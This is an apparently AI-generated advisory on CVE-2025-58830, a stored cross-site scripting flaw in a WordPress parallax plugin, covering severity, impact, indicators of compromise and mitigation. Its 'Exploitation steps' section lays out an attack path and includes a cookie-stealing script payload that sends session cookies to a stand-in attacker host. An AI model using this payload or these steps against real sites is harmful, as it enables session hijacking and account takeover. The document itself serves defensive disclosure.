CVE-2025-58830
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-58830 is a Stored Cross-Site Scripting (XSS) vulnerability in the Parallax Scrolling Enllax.js WordPress plugin, developed by snagysandor. It affects all versions from n/a through 0.0.6 and was published on September 5, 2025. The vulnerability was assigned by Patchstack and carries a CVSS v3.1 base score of 6.5 (Medium) (Red Hat CVE, Patchstack).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the Stored XSS variant. An authenticated attacker with low privileges can inject malicious scripts into fields processed by the plugin, which are then persistently stored and rendered in the browser of any user who views the affected page. Exploitation requires user interaction (a victim visiting the page containing the injected payload) and has a changed scope, meaning the impact can extend beyond the vulnerable component itself (Red Hat CVE, Patchstack).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, defacement of web content, redirection to malicious sites, or delivery of further malware payloads to site visitors. The changed scope means impacts can extend to users and systems beyond the WordPress installation itself (Red Hat CVE).

Exploitability

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-58830. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least low-level privileges on the target WordPress site (Red Hat CVE, Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Parallax Scrolling Enllax.js plugin version 0.0.6 or earlier, using tools such as WPScan or by inspecting page source for plugin references.
  2. Obtain low-privilege access: Register or log in to the target WordPress site with a low-privilege account (e.g., Contributor or Author role) sufficient to interact with plugin-controlled input fields.
  3. Inject malicious payload: Insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a plugin input field that is stored in the database without proper sanitization or escaping.
  4. Trigger victim interaction: Wait for or socially engineer a higher-privileged user (e.g., Administrator) or site visitor to navigate to the page rendering the stored payload.
  5. Harvest results: The injected script executes in the victim's browser, enabling session cookie theft, credential capture, or further malicious actions (Red Hat CVE, Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to plugin-related admin pages from low-privilege accounts containing encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, onload=).
  • Database: Unexpected JavaScript or HTML script tags stored in WordPress database fields associated with the Parallax Scrolling Enllax.js plugin settings or shortcode attributes.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages with the plugin's content, potentially carrying cookie or session data in query parameters.
  • File System: Unexpected modifications to plugin files or WordPress theme files that may indicate post-exploitation persistence attempts.

Mitigation and workarounds

Users should remove or deactivate the Parallax Scrolling Enllax.js plugin immediately if no patched version is available, as the vulnerability affects all versions through 0.0.6. Monitor the WordPress plugin repository for an updated release from the plugin author (snagysandor) that addresses the stored XSS issue. As a general hardening measure, restrict plugin installation and user registration to trusted accounts, and deploy a Web Application Firewall (WAF) capable of detecting XSS payloads to reduce exploitation risk in the interim (Patchstack, Red Hat CVE).

Community reactions

The vulnerability was reported in Wordfence's weekly WordPress vulnerability digest covering September 1–7, 2025, which aggregates newly disclosed plugin vulnerabilities for the WordPress community (Wordfence Blog). No significant independent researcher commentary or broader media coverage has been identified for this specific CVE.

Additional resources


SourceThis report was generated using AI

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